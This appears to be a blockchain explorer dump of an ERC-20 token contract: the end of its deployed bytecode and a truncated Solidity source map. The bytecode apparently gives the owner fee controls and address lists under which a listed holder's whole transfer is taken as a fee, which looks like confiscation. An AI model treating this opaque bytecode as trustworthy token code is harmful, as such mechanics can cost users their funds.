5162461bcd60e51b8152600401610c5a906124a6565b60c98210610ce757600080fd5b60005b82811015610d56578160096000868685818110610d0957610d09612629565b9050602002016020810190610d1e91906121a8565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610d4f81612603565b9050610cea565b50505050565b6000546001600160a01b03163314610d865760405162461bcd60e51b8152600401610c5a906124a6565b60c98210610d9357600080fd5b60005b82811015610d56578160076000868685818110610db557610db5612629565b9050602002016020810190610dca91906121a8565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610dfb81612603565b9050610d96565b6000546001600160a01b03163314610e2c5760405162461bcd60e51b8152600401610c5a906124a6565b600a839055600b829055600c819055610e4f81610e4985856113d5565b906113d5565b601355505050565b6000546001600160a01b03163314610e815760405162461bcd60e51b8152600401610c5a906124a6565b6107d18210610e8f57600080fd5b6000610e9b8383612572565b33600090815260056020526040902054909150811115610eba57600080fd5b60005b83811015610f0957610ef633868684818110610edb57610edb612629565b9050602002016020810190610ef091906121a8565b85611952565b5080610f0181612603565b915050610ebd565b5050505050565b6000546001600160a01b03163314610f3a5760405162461bcd60e51b8152600401610c5a906124a6565b600380546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b6000546001600160a01b03163314610f8e5760405162461bcd60e51b8152600401610c5a906124a6565b600d839055600e829055600f819055610fab81610e4985856113d5565b601455505050565b6000546001600160a01b03163314610fdd5760405162461bcd60e51b8152600401610c5a906124a6565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146110325760405162461bcd60e51b8152600401610c5a906124a6565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146110ac5760405162461bcd60e51b8152600401610c5a906124a6565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b606060028054610aab906125a8565b6000610b3b3384610ba0856040518060600160405280602581526020016126a0602591393360009081526006602090815260408083206001600160a01b038d16845290915290205491906118d6565b6000610ba5338484611558565b6000546001600160a01b0316331461116c5760405162461bcd60e51b8152600401610c5a906124a6565b600380549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146111b05760405162461bcd60e51b8152600401610c5a906124a6565b6010839055601182905560128190556111cd81610e4985856113d5565b601555505050565b6003546201000090046001600160a01b031633146111f257600080fd5b60198054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061123f90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146112745760405162461bcd60e51b8152600401610c5a906124a6565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146112c95760405162461bcd60e51b8152600401610c5a906124a6565b6001600160a01b03811661132e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c5a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146113b35760405162461bcd60e51b8152600401610c5a906124a6565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000806113e28385612538565b905083811015610ba95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c5a565b6001600160a01b0383166114965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c5a565b6001600160a01b0382166114f75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c5a565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166115be5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610c5a565b6001600160a01b0383166116205760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610c5a565b601954600160a01b900460ff16156116445761163d848484611952565b9050610ba9565b6001600160a01b03841660009081526007602052604090205460ff1615801561168657506001600160a01b03831660009081526007602052604090205460ff16155b156116fb576000805b600181136116eb5760408051602081018390529081018590524260608201526080016040516020818303038152906040528051906020012060001c91506116d886836064611952565b50806116e3816125e3565b91505061168f565b506116f760c884612591565b9250505b30600090815260056020526040902054601754811080159081906117295750601954600160a01b900460ff16155b801561174e57506001600160a01b03861660009081526008602052604090205460ff16155b80156117635750601954600160a81b900460ff165b1561178957601954600160b01b900460ff16156117805760175491505b61178982611a26565b6117938686611b62565b15611804576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600590915291909120546117ea9186906118d6565b6001600160a01b0387166000908152600560205260409020555b6001600160a01b03861660009081526007602052604081205460ff168061184357506001600160a01b03861660009081526007602052604090205460ff165b1561184f57508361185d565b61185a878787611ba7565b90505b6001600160a01b03861660009081526005602052604090205461188090826113d5565b6001600160a01b038088166000818152600560205260409081902093909355915190891690600080516020612680833981519152906118c29085815260200190565b60405180910390a360019350505050610ba9565b600081848411156118fa5760405162461bcd60e51b8152600401610c5a9190612451565b5060006119078486612591565b95945050505050565b6000610ba983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118d6565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526005909152918220546119a39184906118d6565b6001600160a01b0380861660009081526005602052604080822093909355908516815220546119d290836113d5565b6001600160a01b03808516600081815260056020526040908190209390935591519086169060008051602061268083398151915290611a149086815260200190565b60405180910390a35060019392505050565b6019805460ff60a01b1916600160a01b179055601554601054600091611a5c91600291611a569182908790611dbb565b90611e3a565b90506000611a6a8383611910565b9050611a7581611e7c565b6010544790600090611a9590611a8c906002611e3a565b60155490611910565b90506000611ab76002611a5684611a5660105488611dbb90919063ffffffff16565b90506000611ad483611a5660125487611dbb90919063ffffffff16565b90506000611aec82611ae68786611910565b90611910565b90508015611b1057600354611b10906201000090046001600160a01b03168261201e565b8115611b2c57600454611b2c906001600160a01b03168361201e565b600083118015611b3c5750600087115b15611b4b57611b4b8784612059565b50506019805460ff60a01b19169055505050505050565b6000816001600160a01b0316836001600160a01b0316141580610ba957506003546001600160a01b038481166201000090920416141580610ba9575060009392505050565b6001600160a01b0383166000908152600860205260408120548190819060ff1615611bed57611be66064611a5660135487611dbb90919063ffffffff16565b9150611c4e565b6001600160a01b03851660009081526008602052604090205460ff1615611c4e57611c286064611a5660145487611dbb90919063ffffffff16565b600354909250610100900460ff1615611c4e57611c4b6064611a56866001611dbb565b90505b6001600160a01b03861660009081526009602052604090205460ff168015611c8f57506001600160a01b03861660009081526008602052604090205460ff16155b15611c98578391505b8015611d3b5761dead60005260056020527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba54611cd590826113d5565b61dead600081905260056020527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba919091556040516001600160a01b0388169060008051602061268083398151915290611d329085815260200190565b60405180910390a35b8115611da35730600090815260056020526040902054611d5b90836113d5565b30600081815260056020526040908190209290925590516001600160a01b0388169060008051602061268083398151915290611d9a9086815260200190565b60405180910390a35b611db181611ae68685611910565b9695505050505050565b600082611dca57506000610b3f565b6000611dd68385612572565b905082611de38583612550565b14610ba95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c5a565b6000610ba983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612119565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611eb157611eb1612629565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611f0557600080fd5b505afa158015611f19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f3d91906121c5565b81600181518110611f5057611f50612629565b6001600160a01b039283166020918202929092010152601854611f769130911684611434565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac94790611faf9085906000908690309042906004016124fc565b600060405180830381600087803b158015611fc957600080fd5b505af1158015611fdd573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516120129291906124db565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015612054573d6000803e3d6000fd5b505050565b6018546120719030906001600160a01b031684611434565b6018546004805460405163f305d71960e01b815230928101929092526024820185905260006044830181905260648301526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c4016060604051808303818588803b1580156120e057600080fd5b505af11580156120f4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f0991906123df565b6000818361213a5760405162461bcd60e51b8152600401610c5a9190612451565b5060006119078486612550565b60008083601f84011261215957600080fd5b50813567ffffffffffffffff81111561217157600080fd5b6020830191508360208260051b850101111561218c57600080fd5b9250929050565b803580151581146121a357600080fd5b919050565b6000602082840312156121ba57600080fd5b8135610ba98161263f565b6000602082840312156121d757600080fd5b8151610ba98161263f565b600080604083850312156121f557600080fd5b82356122008161263f565b915060208301356122108161263f565b809150509250929050565b60008060006060848603121561223057600080fd5b833561223b8161263f565b9250602084013561224b8161263f565b929592945050506040919091013590565b6000806040838503121561226f57600080fd5b823561227a8161263f565b915061228860208401612193565b90509250929050565b600080604083850312156122a457600080fd5b82356122af8161263f565b946020939093013593505050565b6000806000604084860312156122d257600080fd5b833567ffffffffffffffff8111156122e957600080fd5b6122f586828701612147565b9094509250612308905060208501612193565b90509250925092565b60008060006040848603121561232657600080fd5b833567ffffffffffffffff81111561233d57600080fd5b61234986828701612147565b909790965060209590950135949350505050565b60006020828403121561236f57600080fd5b610ba982612193565b60006020828403121561238a57600080fd5b5035919050565b600080604083850312156123a457600080fd5b50508035926020909101359150565b6000806000606084860312156123c857600080fd5b505081359360208301359350604090920135919050565b6000806000606084860312156123f457600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156124465781516001600160a01b031687529582019590820190600101612421565b509495945050505050565b600060208083528351808285015260005b8181101561247e57858101830151858201604001528201612462565b81811115612490576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8281526040602082015260006124f4604083018461240d565b949350505050565b85815284602082015260a06040820152600061251b60a083018661240d565b6001600160a01b0394909416606083015250608001529392505050565b6000821982111561254b5761254b612613565b500190565b60008261256d57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561258c5761258c612613565b500290565b6000828210156125a3576125a3612613565b500390565b600181811c908216806125bc57607f821691505b602082108114156125dd57634e487b7160e01b600052602260045260246000fd5b50919050565b60006001600160ff1b038214156125fc576125fc612613565b5060010190565b60006000198214156125fc576125fc5b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461265457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201116ec48a09606564d25fde279196003f6751253cb19462fa8a2ab06887728b964736f6c63430008070033

Deployed Bytecode Sourcemap

19770:414:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8166:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9460:161;;;;;;;;;;-1:-1:-1;9460:161:0;;;;;:::i;:::-;;:::i;:::-;;;6826:14:1;;6819:22;6801:41;;6789:2;6774:18;9460:161:0;6661:187:1;5561:41:0;;;;;;;;;;-1:-1:-1;5561:41:0;;;;-1:-1:-1;;;;;5561:41:0;;;;;;-1:-1:-1;;;;;5773:32:1;;;5755:51;;5743:2;5728:18;5561:41:0;5609:203:1;8443:100:0;;;;;;;;;;-1:-1:-1;8523:12:0;;8443:100;;;10979:25:1;;;10967:2;10952:18;8443:100:0;10833:177:1;12711:313:0;;;;;;;;;;-1:-1:-1;12711:313:0;;;;;:::i;:::-;;:::i;4516:29::-;;;;;;;;;;-1:-1:-1;4516:29:0;;;;;;;;;;;4639:81;;;;;;;;;;;;;;;12172:128;;;;;;;;;;;;;:::i;8352:83::-;;;;;;;;;;-1:-1:-1;8418:9:0;;8352:83;;8418:9;;;;12081:36:1;;12069:2;12054:18;8352:83:0;11939:184:1;8829:218:0;;;;;;;;;;-1:-1:-1;8829:218:0;;;;;:::i;:::-;;:::i;11431:124::-;;;;;;;;;;-1:-1:-1;11431:124:0;;;;;:::i;:::-;;:::i;:::-;;12035:125;;;;;;;;;;-1:-1:-1;12035:125:0;;;;;:::i;:::-;;:::i;4554:36::-;;;;;;;;;;-1:-1:-1;4554:36:0;;;;;;;-1:-1:-1;;;;;4554:36:0;;;4915:45;;;;;;;;;;-1:-1:-1;4915:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13518:242;;;;;;;;;;-1:-1:-1;13518:242:0;;;;;:::i;:::-;;:::i;5676:40::-;;;;;;;;;;-1:-1:-1;5676:40:0;;;;-1:-1:-1;;;5676:40:0;;;;;;10254:260;;;;;;;;;;-1:-1:-1;10254:260:0;;;;;:::i;:::-;;:::i;4856:50::-;;;;;;;;;;-1:-1:-1;4856:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5242:30;;;;;;;;;;;;;;;;10522:255;;;;;;;;;;-1:-1:-1;10522:255:0;;;;;:::i;:::-;;:::i;5775:29::-;;;;;;;;;;-1:-1:-1;5775:29:0;;;;-1:-1:-1;;;5775:29:0;;;;;;5279:30;;;;;;;;;;;;;;;;13142:368;;;;;;;;;;-1:-1:-1;13142:368:0;;;;;:::i;:::-;;:::i;11563:121::-;;;;;;;;;;-1:-1:-1;11563:121:0;;;;;:::i;:::-;;:::i;10785:262::-;;;;;;;;;;-1:-1:-1;10785:262:0;;;;;:::i;:::-;;:::i;8551:119::-;;;;;;;;;;-1:-1:-1;8551:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;8644:18:0;8617:7;8644:18;;;:9;:18;;;;;;;8551:119;5389:33;;;;;;;;;;;;;;;;9974:129;;;;;;;;;;-1:-1:-1;9974:129:0;;;;;:::i;:::-;;:::i;5128:32::-;;;;;;;;;;;;;;;;2870:79;;;;;;;;;;-1:-1:-1;2908:7:0;2935:6;-1:-1:-1;;;;;2935:6:0;2870:79;;3095:155;;;;;;;;;;;;;:::i;13768:111::-;;;;;;;;;;-1:-1:-1;13768:111:0;;;;;:::i;:::-;;:::i;8257:87::-;;;;;;;;;;;;;:::i;9332:120::-;;;;;;;;;;-1:-1:-1;9421:23:0;;9332:120;;5429:39;;;;;;;;;;;;;;;;9055:269;;;;;;;;;;-1:-1:-1;9055:269:0;;;;;:::i;:::-;;:::i;5316:25::-;;;;;;;;;;;;;;;;12536:167;;;;;;;;;;-1:-1:-1;12536:167:0;;;;;:::i;:::-;;:::i;16058:86::-;;;;;;;;;;-1:-1:-1;16058:86:0;;;;;:::i;:::-;-1:-1:-1;16137:4:0;;16058:86;14095:90;;;;;;;;;;-1:-1:-1;14095:90:0;;;;;:::i;:::-;;:::i;11059:358::-;;;;;;;;;;-1:-1:-1;11059:358:0;;;;;:::i;:::-;;:::i;5089:26::-;;;;;;;;;;;;;;;;11819:208;;;;;;;;;;-1:-1:-1;11819:208:0;;;;;:::i;:::-;;:::i;5051:31::-;;;;;;;;;;;;;;;;5609:26;;;;;;;;;;-1:-1:-1;5609:26:0;;;;-1:-1:-1;;;;;5609:26:0;;;5167:32;;;;;;;;;;;;;;;;5206:27;;;;;;;;;;;;;;;;5723:45;;;;;;;;;;-1:-1:-1;5723:45:0;;;;-1:-1:-1;;;5723:45:0;;;;;;5013:31;;;;;;;;;;;;;;;;8678:143;;;;;;;;;;-1:-1:-1;8678:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;8786:18:0;;;8759:7;8786:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8678:143;13032:102;;;;;;;;;;-1:-1:-1;13032:102:0;;;;;:::i;:::-;-1:-1:-1;;;;;13112:14:0;13088:4;13112:14;;;:5;:14;;;;;;;;;13032:102;10111:135;;;;;;;;;;-1:-1:-1;10111:135:0;;;;;:::i;:::-;;:::i;4597:35::-;;;;;;;;;;-1:-1:-1;4597:35:0;;;;-1:-1:-1;;;;;4597:35:0;;;5350:32;;;;;;;;;;;;;;;;3258:244;;;;;;;;;;-1:-1:-1;3258:244:0;;;;;:::i;:::-;;:::i;11692:119::-;;;;;;;;;;-1:-1:-1;11692:119:0;;;;;:::i;:::-;;:::i;8166:83::-;8203:13;8236:5;8229:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8166:83;:::o;9460:161::-;9535:4;9552:39;260:10;9575:7;9584:6;9552:8;:39::i;:::-;-1:-1:-1;9609:4:0;9460:161;;;;;:::o;12711:313::-;12809:4;12826:36;12836:6;12844:9;12855:6;12826:9;:36::i;:::-;-1:-1:-1;12873:121:0;12882:6;260:10;12904:89;12942:6;12904:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12904:19:0;;;;;;:11;:19;;;;;;;;260:10;12904:33;;;;;;;;;;:37;:89::i;:::-;12873:8;:121::i;:::-;-1:-1:-1;13012:4:0;12711:313;;;;;;:::o;12172:128::-;12279:11;-1:-1:-1;;;;;8644:18:0;12225:7;8644:18;;;:9;:18;;;;;;12252:12;;:40;;:16;:40::i;:::-;12245:47;;12172:128;:::o;8829:218::-;260:10;8917:4;8966:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8966:34:0;;;;;;;;;;8917:4;;8934:83;;8957:7;;8966:50;;9005:10;8966:38;:50::i;11431:124::-;3004:6;;-1:-1:-1;;;;;3004:6:0;260:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;;;;;;;;;11513:23:::1;:34:::0;11431:124::o;12035:125::-;3004:6;;-1:-1:-1;;;;;3004:6:0;260:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;12116:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;12116:36:0::1;-1:-1:-1::0;;;;12116:36:0;;::::1;::::0;;;::::1;::::0;;12035:125::o;13518:242::-;3004:6;;-1:-1:-1;;;;;3004:6:0;260:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;13640:3:::1;13621:22:::0;::::1;13613:31;;;::::0;::::1;;13660:9;13655:98;13671:20:::0;;::::1;13655:98;;;13735:6;13713:5;:19;13719:9;;13729:1;13719:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13713:19:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;13713:19:0;:28;;-1:-1:-1;;13713:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13693:3:::1;::::0;::::1;:::i;:::-;;;13655:98;;;;13518:242:::0;;;:::o;10254:260::-;3004:6;;-1:-1:-1;;;;;3004:6:0;260:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;10382:3:::1;10363:22:::0;::::1;10355:31;;;::::0;::::1;;10402:9;10397:110;10413:20:::0;;::::1;10397:110;;;10489:6;10455:17;:31;10473:9;;10483:1;10473:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10455:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10455:31:0;:40;;-1:-1:-1;;10455:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10435:3:::1;::::0;::::1;:::i;:::-;;;10397:110;;10522:255:::0;3004:6;;-1:-1:-1;;;;;3004:6:0;260:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;10604:16:::1;:20:::0;;;10635:16:::1;:20:::0;;;10666:11:::1;:15:::0;;;10714:55:::1;10680:1:::0;10714:38:::1;10623:1:::0;10654;10714:20:::1;:38::i;:::-;:42:::0;::::1;:55::i;:::-;10694:17;:75:::0;-1:-1:-1;;;10522:255:0:o;13142:368::-;3004:6;;-1:-1:-1;;;;;3004:6:0;260:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;13274:4:::1;13255:23:::0;::::1;13247:32;;;::::0;::::1;;13290:12;13305:25;13314:9:::0;13305:6;:25:::1;:::i;:::-;13359:10;8617:7:::0;8644:18;;;:9;:18;;;;;;13290:40;;-1:-1:-1;13290:40:0;-1:-1:-1;13349:29:0::1;13341:38;;;::::0;::::1;;13394:6;13390:113;13404:20:::0;;::::1;13390:113;;;13445:46;13460:10;13471:9;;13481:1;13471:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;13484:6;13445:14;:46::i;:::-;-1:-1:-1::0;13426:3:0;::::1;::::0;::::1;:::i;:::-;;;;13390:113;;;;13236:274;13142:368:::0;;;:::o;11563:121::-;3004:6;;-1:-1:-1;;;;;3004:6:0;260:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;11641:13:::1;:35:::0;;-1:-1:-1;;;;;11641:35:0;;::::1;::::0;::::1;-1:-1:-1::0;;;;;;11641:35:0;;::::1;::::0;;;::::1;::::0;;11563:121::o;10785:262::-;3004:6;;-1:-1:-1;;;;;3004:6:0;260:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;10867:17:::1;:21:::0;;;10899:17:::1;:21:::0;;;10931:12:::1;:16:::0;;;10981:58:::1;10946:1:::0;10981:40:::1;10887:1:::0;10919;10981:21:::1;:40::i;:58::-;10960:18;:79:::0;-1:-1:-1;;;10785:262:0:o;9974:129::-;3004:6;;-1:-1:-1;;;;;3004:6:0;260:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10063:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;10063:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9974:129::o;3095:155::-;3004:6;;-1:-1:-1;;;;;3004:6:0;260:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;3183:6:::1;::::0;;3162:45:::1;::::0;3199:6:::1;::::0;-1:-1:-1;;;;;3183:6:0;;::::1;::::0;3162:45:::1;::::0;::::1;3218:6;:24:::0;;-1:-1:-1;;;;;;3218:24:0::1;3235:6;3218:24;::::0;;3095:155::o;13768:111::-;3004:6;;-1:-1:-1;;;;;3004:6:0;260:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13846:16:0;;;::::1;;::::0;;;:5:::1;:16;::::0;;;;:25;;-1:-1:-1;;13846:25:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13768:111::o;8257:87::-;8296:13;8329:7;8322:14;;;;;:::i;9055:269::-;9148:4;9165:129;260:10;9188:7;9197:96;9236:15;9197:96;;;;;;;;;;;;;;;;;260:10;9197:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9197:34:0;;;;;;;;;;;;:38;:96::i;12536:167::-;12614:4;12631:42;260:10;12655:9;12666:6;12631:9;:42::i;14095:90::-;3004:6;;-1:-1:-1;;;;;3004:6:0;260:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;14158:10:::1;:19:::0;;;::::1;;;;-1:-1:-1::0;;14158:19:0;;::::1;::::0;;;::::1;::::0;;14095:90::o;11059:358::-;3004:6;;-1:-1:-1;;;;;3004:6:0;260:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;11200:15:::1;:35:::0;;;11246:15:::1;:35:::0;;;11292:10:::1;:25:::0;;;11357:52:::1;11305:12:::0;11357:36:::1;11218:17:::0;11264;11357:19:::1;:36::i;:52::-;11330:24;:79:::0;-1:-1:-1;;;11059:358:0:o;11819:208::-;11894:13;;;;;-1:-1:-1;;;;;11894:13:0;11911:10;11894:27;11886:36;;;;;;11933:21;:32;;;;;-1:-1:-1;;;11933:32:0;-1:-1:-1;;;;11933:32:0;;;;;;11981:38;;;;;;11957:8;6826:14:1;6819:22;6801:41;;6789:2;6774:18;;6661:187;11981:38:0;;;;;;;;11819:208;:::o;10111:135::-;3004:6;;-1:-1:-1;;;;;3004:6:0;260:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10201:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:37;;-1:-1:-1;;10201:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10111:135::o;3258:244::-;3004:6;;-1:-1:-1;;;;;3004:6:0;260:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3347:22:0;::::1;3339:73;;;::::0;-1:-1:-1;;;3339:73:0;;8295:2:1;3339:73:0::1;::::0;::::1;8277:21:1::0;8334:2;8314:18;;;8307:30;8373:34;8353:18;;;8346:62;-1:-1:-1;;;8424:18:1;;;8417:36;8470:19;;3339:73:0::1;8093:402:1::0;3339:73:0::1;3449:6;::::0;;3428:38:::1;::::0;-1:-1:-1;;;;;3428:38:0;;::::1;::::0;3449:6;::::1;::::0;3428:38:::1;::::0;::::1;3477:6;:17:::0;;-1:-1:-1;;;;;;3477:17:0::1;-1:-1:-1::0;;;;;3477:17:0;;;::::1;::::0;;;::::1;::::0;;3258:244::o;11692:119::-;3004:6;;-1:-1:-1;;;;;3004:6:0;260:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;11769:12:::1;:34:::0;;-1:-1:-1;;;;;;11769:34:0::1;-1:-1:-1::0;;;;;11769:34:0;;;::::1;::::0;;;::::1;::::0;;11692:119::o;1113:181::-;1171:7;;1203:5;1207:1;1203;:5;:::i;:::-;1191:17;;1232:1;1227;:6;;1219:46;;;;-1:-1:-1;;;1219:46:0;;9105:2:1;1219:46:0;;;9087:21:1;9144:2;9124:18;;;9117:30;9183:29;9163:18;;;9156:57;9230:18;;1219:46:0;8903:351:1;9629:337:0;-1:-1:-1;;;;;9722:19:0;;9714:68;;;;-1:-1:-1;;;9714:68:0;;10630:2:1;9714:68:0;;;10612:21:1;10669:2;10649:18;;;10642:30;10708:34;10688:18;;;10681:62;-1:-1:-1;;;10759:18:1;;;10752:34;10803:19;;9714:68:0;10428:400:1;9714:68:0;-1:-1:-1;;;;;9801:21:0;;9793:68;;;;-1:-1:-1;;;9793:68:0;;8702:2:1;9793:68:0;;;8684:21:1;8741:2;8721:18;;;8714:30;8780:34;8760:18;;;8753:62;-1:-1:-1;;;8831:18:1;;;8824:32;8873:19;;9793:68:0;8500:398:1;9793:68:0;-1:-1:-1;;;;;9874:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9926:32;;10979:25:1;;;9926:32:0;;10952:18:1;9926:32:0;;;;;;;9629:337;;;:::o;14195:1855::-;14282:4;-1:-1:-1;;;;;14309:20:0;;14301:70;;;;-1:-1:-1;;;14301:70:0;;10224:2:1;14301:70:0;;;10206:21:1;10263:2;10243:18;;;10236:30;10302:34;10282:18;;;10275:62;-1:-1:-1;;;10353:18:1;;;10346:35;10398:19;;14301:70:0;10022:401:1;14301:70:0;-1:-1:-1;;;;;14390:23:0;;14382:71;;;;-1:-1:-1;;;14382:71:0;;7891:2:1;14382:71:0;;;7873:21:1;7930:2;7910:18;;;7903:30;7969:34;7949:18;;;7942:62;-1:-1:-1;;;8020:18:1;;;8013:33;8063:19;;14382:71:0;7689:399:1;14382:71:0;14469:16;;-1:-1:-1;;;14469:16:0;;;;14466:1577;;;14519:41;14534:6;14542:9;14553:6;14519:14;:41::i;:::-;14512:48;;;;14466:1577;-1:-1:-1;;;;;14618:25:0;;;;;;:17;:25;;;;;;;;14617:26;:59;;;;-1:-1:-1;;;;;;14648:28:0;;;;;;:17;:28;;;;;;;;14647:29;14617:59;14614:359;;;14696:10;;14725:201;14741:1;14737;:5;14725:201;;14806:44;;;;;;5477:19:1;;;5512:12;;;5505:28;;;14834:15:0;5549:12:1